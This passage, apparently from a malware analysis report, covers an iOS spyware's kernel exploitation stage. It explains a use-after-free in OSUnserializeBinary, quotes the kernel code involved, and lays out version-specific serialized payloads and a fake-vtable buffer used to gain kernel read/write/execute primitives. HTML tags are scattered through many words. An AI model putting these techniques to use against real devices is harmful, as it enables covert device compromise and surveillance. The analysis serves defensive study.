Once <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread completes, <str<strong>on</strong>g>the</str<strong>on</strong>g> variable c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g> memory address <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit<br />
buffer obtained by <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread as part <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> AppleKeyStore informati<strong>on</strong> leak is tested to<br />
determine if it was indeed set by <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread (prior to calling <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread, <str<strong>on</strong>g>the</str<strong>on</strong>g> variable<br />
that holds <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address is initialized to 0x12345678). If <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread did not successfully<br />
obtain <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel memory locati<strong>on</strong>, 32Stage2 will call <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback and exit.<br />
After <str<strong>on</strong>g>the</str<strong>on</strong>g> completi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> new thread’s activities, and if <str<strong>on</strong>g>the</str<strong>on</strong>g> ph<strong>on</strong>e reports itself as “iPh<strong>on</strong>e4,1”<br />
(<str<strong>on</strong>g>the</str<strong>on</strong>g> iPh<strong>on</strong>e 4 series), <str<strong>on</strong>g>the</str<strong>on</strong>g> main thread will generate up to 1000 threads. Each <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> threads will<br />
Page 24
generate a very tight while loop that waits until a global variable is set to less than 0 (it defaults<br />
to 1000 at <str<strong>on</strong>g>the</str<strong>on</strong>g> time <str<strong>on</strong>g>the</str<strong>on</strong>g> threads are generated). It is unclear why this behavior is restricted to <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
iPh<strong>on</strong>e 4s, as <str<strong>on</strong>g>the</str<strong>on</strong>g> result <str<strong>on</strong>g>of</str<strong>on</strong>g> this behavior would seem to have value <strong>on</strong> all platforms. This thread<br />
resource exhausti<strong>on</strong> decreases <str<strong>on</strong>g>the</str<strong>on</strong>g> probability that ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r thread will spawn and thus compete<br />
for <str<strong>on</strong>g>the</str<strong>on</strong>g> memory resources during <str<strong>on</strong>g>the</str<strong>on</strong>g> UAF exploitati<strong>on</strong>.<br />
Payload C<strong>on</strong>structi<strong>on</strong> and Kernel Inserti<strong>on</strong> (64-Bit)<br />
Given <str<strong>on</strong>g>the</str<strong>on</strong>g> differences in <str<strong>on</strong>g>the</str<strong>on</strong>g> triggering mechanism used within 64Stage2, <str<strong>on</strong>g>the</str<strong>on</strong>g> setup and payload<br />
c<strong>on</strong>structi<strong>on</strong> is somewhat different. Ra<str<strong>on</strong>g>the</str<strong>on</strong>g>r than creating pipes and overwriting <str<strong>on</strong>g>the</str<strong>on</strong>g> clock getattr<br />
handler, a sysctl handler is overwritten, ultimately resulting in an execute primitive that uses<br />
OSSerializer::serialize in a similar way to 32Stage2. In order to establish an execute<br />
primitive, 64Stage2 uses <str<strong>on</strong>g>the</str<strong>on</strong>g> sysctl interface for net.inet.ip.dummynet.extract_heap to<br />
which 64Stage2 passes a specially crafted data structure that allows <str<strong>on</strong>g>the</str<strong>on</strong>g> binary to overwrite <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
functi<strong>on</strong> pointer resp<strong>on</strong>sible for interfacing with <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel variable. The end result is a<br />
framework, similar in nature to <str<strong>on</strong>g>the</str<strong>on</strong>g> getattr handlers, that allows <str<strong>on</strong>g>the</str<strong>on</strong>g> 64Stage2 binary to<br />
execute arbitrary code ROP chains within <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel from user space.<br />
Establishing Kernel Read/Write Primitives (32-Bit)<br />
With <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit code now in kernel memory, 32Stage2 must activate <str<strong>on</strong>g>the</str<strong>on</strong>g> code in order to install<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> new clock_ops handlers that give userland access to <str<strong>on</strong>g>the</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel memory. 32Stage2<br />
uses a use-after-free (UAF) vulnerability within <str<strong>on</strong>g>the</str<strong>on</strong>g> io_service_open_extended<br />
deserializati<strong>on</strong> routine.<br />
While io_service_open_extended’s deserializati<strong>on</strong> functi<strong>on</strong>ality was previously shown in<br />
this report to allow <str<strong>on</strong>g>the</str<strong>on</strong>g> leakage <str<strong>on</strong>g>of</str<strong>on</strong>g> kernel address informati<strong>on</strong>, ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r vulnerability in <str<strong>on</strong>g>the</str<strong>on</strong>g> same<br />
comp<strong>on</strong>ent can be used to execute arbitrary code within <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel. When<br />
io_service_open_extended is passed a properties data blob, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> will copy <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
c<strong>on</strong>tents from user space into kernel space before passing <str<strong>on</strong>g>the</str<strong>on</strong>g> informati<strong>on</strong> to<br />
OSUnserializeXML. OSUnserializeXML in turn passes <str<strong>on</strong>g>the</str<strong>on</strong>g> informati<strong>on</strong> to<br />
OSUnserializeBinary if <str<strong>on</strong>g>the</str<strong>on</strong>g> kOSSerializeBinarySignature value is present at <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
beginning <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> data blob. It is within OSUnserializeBinary that <str<strong>on</strong>g>the</str<strong>on</strong>g> vulnerability exists.<br />
The data blob supplied in <str<strong>on</strong>g>the</str<strong>on</strong>g> properties parameter represents an XML dicti<strong>on</strong>ary (or<br />
c<strong>on</strong>tainer) that has been serialized. In order to rec<strong>on</strong>struct <str<strong>on</strong>g>the</str<strong>on</strong>g> relati<strong>on</strong>ships,<br />
OSUnserializeBinary iterates through <str<strong>on</strong>g>the</str<strong>on</strong>g> entire data blob to parse out <str<strong>on</strong>g>the</str<strong>on</strong>g> various data<br />
objects. It is possible that during <str<strong>on</strong>g>the</str<strong>on</strong>g> encoding process (<str<strong>on</strong>g>the</str<strong>on</strong>g> process <str<strong>on</strong>g>of</str<strong>on</strong>g> turning <str<strong>on</strong>g>the</str<strong>on</strong>g> original XML<br />
into its binary representati<strong>on</strong>) that <str<strong>on</strong>g>the</str<strong>on</strong>g> same object is found repeatedly. In order to more<br />
efficiently handle repetitive data, objects are stored within an array (objsArray) and objects<br />
within <str<strong>on</strong>g>the</str<strong>on</strong>g> rec<strong>on</strong>structed XML dicti<strong>on</strong>ary can be represented by an index into <str<strong>on</strong>g>the</str<strong>on</strong>g> array <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
objects.<br />
Page 25
Within OSUnserializeBinary, a while loop iterates through each encoded object within <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
supplied data blob. The loop begins by determining <str<strong>on</strong>g>the</str<strong>on</strong>g> type <str<strong>on</strong>g>of</str<strong>on</strong>g> object (e.g.,<br />
kOSSerializeDicti<strong>on</strong>ary, kOSSerializeArray, kOSSerializeNumber, and so <strong>on</strong>) and<br />
its size.<br />
len = (key & kOSSerializeDataMask);<br />
...<br />
switch (kOSSerializeTypeMask & key)<br />
{<br />
case kOSSerializeDicti<strong>on</strong>ary:<br />
o = newDict = OSDicti<strong>on</strong>ary::withCapacity(len);<br />
newCollect = (len != 0);<br />
break;<br />
case kOSSerializeArray:<br />
o = newArray = OSArray::withCapacity(len);<br />
newCollect = (len != 0);<br />
break;<br />
case kOSSerializeSet:<br />
o = newSet = OSSet::withCapacity(len);<br />
newCollect = (len != 0);<br />
...<br />
case kOSSerializeObject:<br />
if (len >= objsIdx) break;<br />
o = objsArray[len];<br />
o->retain();<br />
isRef = true;<br />
break;<br />
...<br />
}<br />
The switch statement dispatches <str<strong>on</strong>g>the</str<strong>on</strong>g> appropriate instructi<strong>on</strong>s for handling each type <str<strong>on</strong>g>of</str<strong>on</strong>g> object<br />
found within <str<strong>on</strong>g>the</str<strong>on</strong>g> data blob. These instructi<strong>on</strong>s can generate new objects and set flags related to<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> objects depending <strong>on</strong> what <str<strong>on</strong>g>the</str<strong>on</strong>g> particular object requires during <str<strong>on</strong>g>the</str<strong>on</strong>g> deserializati<strong>on</strong> process.<br />
The kOSSerializeObject object type is a special case that represents an already<br />
deserialized object and, as such, sets a flag isRef to true indicating that <str<strong>on</strong>g>the</str<strong>on</strong>g> object is a<br />
reference to an existing object already within <str<strong>on</strong>g>the</str<strong>on</strong>g> objsArray array.<br />
If <str<strong>on</strong>g>the</str<strong>on</strong>g> isRef value is not set to true, <str<strong>on</strong>g>the</str<strong>on</strong>g> current object that just underwent deserializati<strong>on</strong> is<br />
added to <str<strong>on</strong>g>the</str<strong>on</strong>g> objsArray by means <str<strong>on</strong>g>of</str<strong>on</strong>g> setAtIndex:<br />
if (!isRef)<br />
{<br />
setAtIndex(objs, objsIdx, o);<br />
if (!ok) break;<br />
objsIdx++;<br />
}<br />
setAtIndex is a macro that, am<strong>on</strong>g o<str<strong>on</strong>g>the</str<strong>on</strong>g>r things, adds an object (o) to <str<strong>on</strong>g>the</str<strong>on</strong>g> objsArray. While<br />
more robust array objects exist within <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> envir<strong>on</strong>ment, such as OSArray (an array<br />
c<strong>on</strong>tainer that will handle reference counting automatically), OSUnserializeBinary takes a<br />
more manual route for array-object management <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> objects it has deserialized. Once<br />
Page 26
deserialized, <str<strong>on</strong>g>the</str<strong>on</strong>g> object’s reference count is decremented by calling o->release(), which will<br />
lead to <str<strong>on</strong>g>the</str<strong>on</strong>g> object being free()ed in most cases. The excepti<strong>on</strong> to this behavior occurs within<br />
kOSSerializeObject objects.<br />
Since a kOSSerializeObject object represents an object that is referenced by o<str<strong>on</strong>g>the</str<strong>on</strong>g>r entries,<br />
it is necessary to retain <str<strong>on</strong>g>the</str<strong>on</strong>g> object after serializati<strong>on</strong>. As a result, during deserializati<strong>on</strong><br />
kOSSerializeObject objects will call o->retain(), <str<strong>on</strong>g>the</str<strong>on</strong>g>reby incrementing <str<strong>on</strong>g>the</str<strong>on</strong>g> reference<br />
count for <str<strong>on</strong>g>the</str<strong>on</strong>g> object and preventing its removal from memory.<br />
A serialized data blob allows for <str<strong>on</strong>g>the</str<strong>on</strong>g> same key to be used more than <strong>on</strong>ce. In o<str<strong>on</strong>g>the</str<strong>on</strong>g>r words, it is<br />
possible to have XML code that looks like:<br />
<br />
KEY1<br />
1<br />
KEY1<br />
2<br />
<br />
The above XML, <strong>on</strong>ce serialized, will c<strong>on</strong>tain five objects. The first object will be <str<strong>on</strong>g>the</str<strong>on</strong>g> dicti<strong>on</strong>ary<br />
c<strong>on</strong>tainer ( as a kOSSerializeDicti<strong>on</strong>ary object), followed by a symbol<br />
representing <str<strong>on</strong>g>the</str<strong>on</strong>g> key (as a kOSSerializeSymbol entry c<strong>on</strong>taining “KEY1”) and its data object<br />
(a kOSSerializeNumber entry for <str<strong>on</strong>g>the</str<strong>on</strong>g> integer 1). The fourth entry specifies ano<str<strong>on</strong>g>the</str<strong>on</strong>g>r key<br />
object, assigned KEY1 again, which is now a string object (kOSSerializeString) c<strong>on</strong>taining<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> string “2”. As part <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> deserializati<strong>on</strong> process, <str<strong>on</strong>g>the</str<strong>on</strong>g> reuse <str<strong>on</strong>g>of</str<strong>on</strong>g> KEY1 results in <str<strong>on</strong>g>the</str<strong>on</strong>g> object that<br />
follows replacing <str<strong>on</strong>g>the</str<strong>on</strong>g> original value assigned to KEY1. This reassignment <str<strong>on</strong>g>of</str<strong>on</strong>g> a key with new data<br />
is <str<strong>on</strong>g>the</str<strong>on</strong>g> situati<strong>on</strong> where OSUnserializeBinary is vulnerable to attack.<br />
As stated previously, when an object is deserialized, and so l<strong>on</strong>g as that object is not a<br />
kOSSerializeObject, <str<strong>on</strong>g>the</str<strong>on</strong>g> object is stored in <str<strong>on</strong>g>the</str<strong>on</strong>g> objsArray for later reference. This<br />
storage is <str<strong>on</strong>g>the</str<strong>on</strong>g> result <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> setAtIndex macro seen here:<br />
#define setAtIndex(v, idx, o) \<br />
if (idx >= v##Capacity) \<br />
{ \<br />
uint32_t ncap = v##Capacity + 64; \<br />
type<str<strong>on</strong>g>of</str<strong>on</strong>g>(v##Array) nbuf = (type<str<strong>on</strong>g>of</str<strong>on</strong>g>(v##Array)) kalloc_c<strong>on</strong>tainer(ncap * size<str<strong>on</strong>g>of</str<strong>on</strong>g>(o)); \<br />
if (!nbuf) ok = false; \<br />
if (v##Array) \<br />
{ \<br />
bcopy(v##Array, nbuf, v##Capacity * size<str<strong>on</strong>g>of</str<strong>on</strong>g>(o)); \<br />
kfree(v##Array, v##Capacity * size<str<strong>on</strong>g>of</str<strong>on</strong>g>(o)); \<br />
} \<br />
v##Array = nbuf; \<br />
v##Capacity = ncap; \<br />
} \<br />
if (ok) v##Array[idx] = o;<br />
Page 27
The macro will expand <str<strong>on</strong>g>the</str<strong>on</strong>g> objsArray to accommodate <str<strong>on</strong>g>the</str<strong>on</strong>g> additi<strong>on</strong>al object and assign <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
object to <str<strong>on</strong>g>the</str<strong>on</strong>g> end <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> objsArray without increasing its reference count by means <str<strong>on</strong>g>of</str<strong>on</strong>g> a o-<br />
>retain() call. The problem with this method is that when a sec<strong>on</strong>d object replaces an<br />
existing object (in our example this is whenever <str<strong>on</strong>g>the</str<strong>on</strong>g> string object replaces <str<strong>on</strong>g>the</str<strong>on</strong>g> number object for<br />
KEY1), <str<strong>on</strong>g>the</str<strong>on</strong>g> first object is released and subsequently freed, but a pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> now freed object<br />
exists within <str<strong>on</strong>g>the</str<strong>on</strong>g> objsArray. Normally this would simply be a bad programming design issue,<br />
but <str<strong>on</strong>g>the</str<strong>on</strong>g> problem is compounded if a reference is made to <str<strong>on</strong>g>the</str<strong>on</strong>g> object via a<br />
kOSSerializeObject entry. If a kOSSerializeObject entry references, by index, <str<strong>on</strong>g>the</str<strong>on</strong>g> now<br />
dangling pointer <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> freed object, <str<strong>on</strong>g>the</str<strong>on</strong>g> call to o->retain() will attempt to execute a virtual<br />
functi<strong>on</strong> that is attacker-c<strong>on</strong>trolled.<br />
In order to exploit this use-after-free c<strong>on</strong>diti<strong>on</strong>, 32Stage2 must take c<strong>on</strong>trol <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> memory<br />
locati<strong>on</strong> that was deallocated and place a custom vtable that will have <str<strong>on</strong>g>the</str<strong>on</strong>g> entry for retain<br />
directed to a functi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> its own choosing. Installing a custom vtable requires having access to<br />
two deallocated, adjacent memory locati<strong>on</strong>s. Since it is not possible to directly overwrite <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
vtable <str<strong>on</strong>g>of</str<strong>on</strong>g> an object during <str<strong>on</strong>g>the</str<strong>on</strong>g> serializati<strong>on</strong> process, by allocating and <str<strong>on</strong>g>the</str<strong>on</strong>g>n freeing two memory<br />
locati<strong>on</strong>s, 32Stage2 can use an OSData or OSString object to replace two memory locati<strong>on</strong>s<br />
at <strong>on</strong>ce with <strong>on</strong>e <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> memory locati<strong>on</strong>s c<strong>on</strong>taining <str<strong>on</strong>g>the</str<strong>on</strong>g> malicious vtable. The easiest way to<br />
understand this c<strong>on</strong>cept is to look at <str<strong>on</strong>g>the</str<strong>on</strong>g> payload that 32Stage2 generates to exploit <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
OSUnserializeBinary UAF vulnerability.<br />
The malicious payload that 32Stage2 generates for this vulnerability depends <strong>on</strong> <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong><br />
versi<strong>on</strong>. For <strong>iOS</strong> versi<strong>on</strong> 9.3.2 through at least 9.3.3, <str<strong>on</strong>g>the</str<strong>on</strong>g> payload takes <str<strong>on</strong>g>the</str<strong>on</strong>g> following form:<br />
[0x00] kOSSerializeBinarySignature<br />
[0x04] kOSSerializeEndCollect<strong>on</strong> | kOSSerializeDicti<strong>on</strong>ary | 0x10<br />
[0x08] kOSSerializeString | 4<br />
[0x0C] “sy2”<br />
[0x10] kOSSerializeData | 0x14<br />
[0x14] {payload buffer}<br />
[0x28]kOSSerializeEndCollect<strong>on</strong> | kOSSerializeObject | 1<br />
For <strong>iOS</strong> 9.0 through 9.3.1, <str<strong>on</strong>g>the</str<strong>on</strong>g> payload takes <str<strong>on</strong>g>the</str<strong>on</strong>g> following form:<br />
[0x00] kOSSerializeBinarySignature<br />
[0x04] kOSSerializeEndCollect<strong>on</strong> | kOSSerializeDicti<strong>on</strong>ary | 0x10<br />
[0x08] kOSSerializeString | 4<br />
[0x0C] “sy2”<br />
[0x10] kOSSerializeEndCollect<strong>on</strong> | kOSSerializeArray | 0x10<br />
[0x14] kOSSerializeDicti<strong>on</strong>ary | 0x10<br />
[0x18] kOSSerializeSymbol | 4<br />
[0x1C] “sy1”<br />
[0x20] kOSSerializeData | 0x14<br />
[0x24] ”ffff\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0”<br />
[0x38] kOSSerializeSymbol | 4<br />
[0x3C] “sy1”<br />
[0x40] kOSSerializeEndCollect<strong>on</strong> | kOSSerializeSymbol | 4<br />
[0x44] “sy1”<br />
[0x48] kOSSerializeString | 0x1C<br />
[0x4C] {payload buffer}<br />
Page 28
[0x68] kOSSerializeString | 0x1C<br />
[0x6C] {payload buffer}<br />
[0x88] kOSSerializeString | 0x1C<br />
[0x8C] {payload buffer}<br />
[0xA8] kOSSerializeEndCollect<strong>on</strong> | kOSSerializeObject | 5<br />
While structurally <str<strong>on</strong>g>the</str<strong>on</strong>g>y look somewhat different, ultimately <str<strong>on</strong>g>the</str<strong>on</strong>g>y both exploit <str<strong>on</strong>g>the</str<strong>on</strong>g> same UAF<br />
vulnerability. The simpler payload (for <strong>iOS</strong> 9.3.2 and later) is <str<strong>on</strong>g>the</str<strong>on</strong>g> easiest to understand. When<br />
OSUnserializeBinary begins <str<strong>on</strong>g>the</str<strong>on</strong>g> parsing process to deserialize <str<strong>on</strong>g>the</str<strong>on</strong>g> payload, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong><br />
will create a new dicti<strong>on</strong>ary object as a result <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> entry at <str<strong>on</strong>g>of</str<strong>on</strong>g>fset 0x04. Within this dicti<strong>on</strong>ary<br />
are two unkeyed objects. The first object is an OSString object with <str<strong>on</strong>g>the</str<strong>on</strong>g> value sy2 (specified<br />
in <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets 0x08 and 0x0C, respectively). Offset 0x10 specifies an OSData object <str<strong>on</strong>g>of</str<strong>on</strong>g> 0x14 (20)<br />
bytes in size. The OSData object c<strong>on</strong>tains <str<strong>on</strong>g>the</str<strong>on</strong>g> payload buffer data structure. Since <str<strong>on</strong>g>the</str<strong>on</strong>g> objects<br />
are unkeyed, OSUnserializeBinary will replace <str<strong>on</strong>g>the</str<strong>on</strong>g> OSString object with <str<strong>on</strong>g>the</str<strong>on</strong>g> OSData<br />
object but leave <str<strong>on</strong>g>the</str<strong>on</strong>g> pointers in place in objsArray. With <str<strong>on</strong>g>the</str<strong>on</strong>g> OSString object having no<br />
retain() calls, <str<strong>on</strong>g>the</str<strong>on</strong>g> OSString is deallocated, <str<strong>on</strong>g>the</str<strong>on</strong>g>reby putting two memory arrays into <str<strong>on</strong>g>the</str<strong>on</strong>g> free<br />
list (<strong>on</strong>e for <str<strong>on</strong>g>the</str<strong>on</strong>g> OSString object itself and <strong>on</strong>e for <str<strong>on</strong>g>the</str<strong>on</strong>g> string associated with <str<strong>on</strong>g>the</str<strong>on</strong>g> OSString<br />
object).<br />
When OSUnserializeBinary parses <str<strong>on</strong>g>the</str<strong>on</strong>g> kOSSerializeData entry, a new OSData object<br />
is allocated and thus c<strong>on</strong>sumes <strong>on</strong>e <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> freed memory locati<strong>on</strong>s from <str<strong>on</strong>g>the</str<strong>on</strong>g> free list. When <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
data associated with <str<strong>on</strong>g>the</str<strong>on</strong>g> kOSSerializeData entry is copied into <str<strong>on</strong>g>the</str<strong>on</strong>g> OSData object, a new<br />
buffer is allocated for <str<strong>on</strong>g>the</str<strong>on</strong>g> data, which c<strong>on</strong>sumes <str<strong>on</strong>g>the</str<strong>on</strong>g> remaining data locati<strong>on</strong> from <str<strong>on</strong>g>the</str<strong>on</strong>g> free list. At<br />
this point, <str<strong>on</strong>g>the</str<strong>on</strong>g> dangling pointer in objsArray has been replaced with an OSData object’s<br />
data. It is <str<strong>on</strong>g>the</str<strong>on</strong>g> data associated with <str<strong>on</strong>g>the</str<strong>on</strong>g> OSData object that c<strong>on</strong>tains <str<strong>on</strong>g>the</str<strong>on</strong>g> malicious payload that<br />
will ultimately give 32Stage2 write access into <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel in order to install <str<strong>on</strong>g>the</str<strong>on</strong>g> read/write<br />
primitives.<br />
Regardless <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> <strong>iOS</strong> versi<strong>on</strong>, <str<strong>on</strong>g>the</str<strong>on</strong>g> malicious payload c<strong>on</strong>tains <str<strong>on</strong>g>the</str<strong>on</strong>g> same payload buffer. The<br />
payload buffer is a 20-byte structure c<strong>on</strong>sisting <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> following elements:<br />
[00] address <str<strong>on</strong>g>of</str<strong>on</strong>g> uaf_payload_buffer + 8<br />
[04] {uninitialized data from stack}<br />
[08] address <str<strong>on</strong>g>of</str<strong>on</strong>g> uaf_payload_buffer<br />
[0C] static value <str<strong>on</strong>g>of</str<strong>on</strong>g> 20<br />
[10] address <str<strong>on</strong>g>of</str<strong>on</strong>g> OSSerializer::serialize<br />
The layout <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> payload must c<strong>on</strong>tain <str<strong>on</strong>g>the</str<strong>on</strong>g> pointer to <str<strong>on</strong>g>the</str<strong>on</strong>g> new retain functi<strong>on</strong> at <str<strong>on</strong>g>of</str<strong>on</strong>g>fset 0x10.<br />
32Stage2 uses <str<strong>on</strong>g>the</str<strong>on</strong>g> OSSerializer::serialize functi<strong>on</strong> as <str<strong>on</strong>g>the</str<strong>on</strong>g> replacement retain. This<br />
layout means that <str<strong>on</strong>g>the</str<strong>on</strong>g> remainder <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> payload must now mimic <str<strong>on</strong>g>the</str<strong>on</strong>g> vtable <str<strong>on</strong>g>of</str<strong>on</strong>g> an<br />
OSSerializer object. As explained previously in Establishing Read/Write/Execute Primitives<br />
<strong>on</strong> Previously Rooted Devices, <str<strong>on</strong>g>the</str<strong>on</strong>g> OSSerializer::serialize functi<strong>on</strong> will call <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong><br />
at <str<strong>on</strong>g>of</str<strong>on</strong>g>fset 0x10 <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> supplied vtable while passing <str<strong>on</strong>g>of</str<strong>on</strong>g>fsets 0x08 and 0x0C <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> vtable to <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
called functi<strong>on</strong>. Given that <str<strong>on</strong>g>of</str<strong>on</strong>g>fset 0x10 is set to OSSerializer::serialize, <str<strong>on</strong>g>the</str<strong>on</strong>g> functi<strong>on</strong> is<br />
Page 29
eing called again, but <str<strong>on</strong>g>the</str<strong>on</strong>g> sec<strong>on</strong>d call will be given <str<strong>on</strong>g>the</str<strong>on</strong>g> vtable specified at <str<strong>on</strong>g>of</str<strong>on</strong>g>fset 0x08. This call<br />
kicks <str<strong>on</strong>g>of</str<strong>on</strong>g>f a series <str<strong>on</strong>g>of</str<strong>on</strong>g> subsequent calls that ultimately leads to a call to _copyin that replaces <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
getattr handlers for <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time and battery clocks, as described in Establishing<br />
Read/Write/Execute Primitives <strong>on</strong> Previously Rooted Devices.<br />
Following <str<strong>on</strong>g>the</str<strong>on</strong>g> executi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g> exploit, and if <str<strong>on</strong>g>the</str<strong>on</strong>g> victim’s ph<strong>on</strong>e is an “iPh<strong>on</strong>e4,1” model, <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
global variable c<strong>on</strong>trolling <str<strong>on</strong>g>the</str<strong>on</strong>g> 1000 threads generated previously is set to -1 in order to<br />
terminate <str<strong>on</strong>g>the</str<strong>on</strong>g> threads.<br />
To verify that <str<strong>on</strong>g>the</str<strong>on</strong>g> battery clock’s getattr handler is working as a kernel memory address<br />
reader, clock_get_attributes is called with <str<strong>on</strong>g>the</str<strong>on</strong>g> read locati<strong>on</strong> specified as <str<strong>on</strong>g>the</str<strong>on</strong>g> base<br />
address for <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel. If <str<strong>on</strong>g>the</str<strong>on</strong>g> result from clock_get_attributes is not <str<strong>on</strong>g>the</str<strong>on</strong>g> magic value <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
0xFEEDFACE, <str<strong>on</strong>g>the</str<strong>on</strong>g> attempt is made <strong>on</strong>ce more. A sec<strong>on</strong>d failure results in <str<strong>on</strong>g>the</str<strong>on</strong>g> assert callback<br />
being called and 32Stage2 terminating.<br />
Establishing Kernel Read/Write Primitives (64-Bit)<br />
The same underlying vulnerability is exploited in <str<strong>on</strong>g>the</str<strong>on</strong>g> 64-bit versi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> Stage 2. In principle, <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
exploit is structured in a very similar way. The primary difference is that <str<strong>on</strong>g>the</str<strong>on</strong>g> ultimate execute<br />
primitive is established by writing to <str<strong>on</strong>g>the</str<strong>on</strong>g> net.inet.ip.dummynet.extract_heap sysctl<br />
handler. The OSSerializer::serialize is used in a similar way as within 32Stage2.<br />
Arbitrary code executi<strong>on</strong> (through <str<strong>on</strong>g>the</str<strong>on</strong>g> executi<strong>on</strong> <str<strong>on</strong>g>of</str<strong>on</strong>g> arbitrary ROP chains) is <str<strong>on</strong>g>the</str<strong>on</strong>g>n achieved using<br />
<str<strong>on</strong>g>the</str<strong>on</strong>g> same mechanism described in Establishing Kernel Execute Primitive (32-Bit).<br />
Establishing a Kernel Execute Primitive (32-Bit)<br />
As explained previously in Installing Kernel Access Handlers <strong>on</strong> Rooted Devices, <str<strong>on</strong>g>the</str<strong>on</strong>g> real-time<br />
clock’s getattr handler points to OSSerializer::serialize, which allows <str<strong>on</strong>g>the</str<strong>on</strong>g> caller <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
clock_get_attributes to pass a specially crafted structure to<br />
OSSerializer::serialize in order to execute instructi<strong>on</strong>s within kernel space. By virtue <str<strong>on</strong>g>of</str<strong>on</strong>g><br />
executing within kernel space, <str<strong>on</strong>g>the</str<strong>on</strong>g> userland 32Stage2 process must have a way <str<strong>on</strong>g>of</str<strong>on</strong>g> transferring<br />
data to <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address space in a reliable manner. 32Stage2 uses a clever quirk <str<strong>on</strong>g>of</str<strong>on</strong>g> <str<strong>on</strong>g>the</str<strong>on</strong>g><br />
pipe-created pipe set to accomplish this task.<br />
After establishing <str<strong>on</strong>g>the</str<strong>on</strong>g> battery clock’s new getattr handler as _bufattr_cpx, 32Stage2 has<br />
a reliable method for reading DWORDs from <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel address space into userland. 32Stage2<br />
uses this functi<strong>on</strong>ality to find <str<strong>on</strong>g>the</str<strong>on</strong>g> addrperm value stored within <str<strong>on</strong>g>the</str<strong>on</strong>g> kernel. addrperm defines<br />
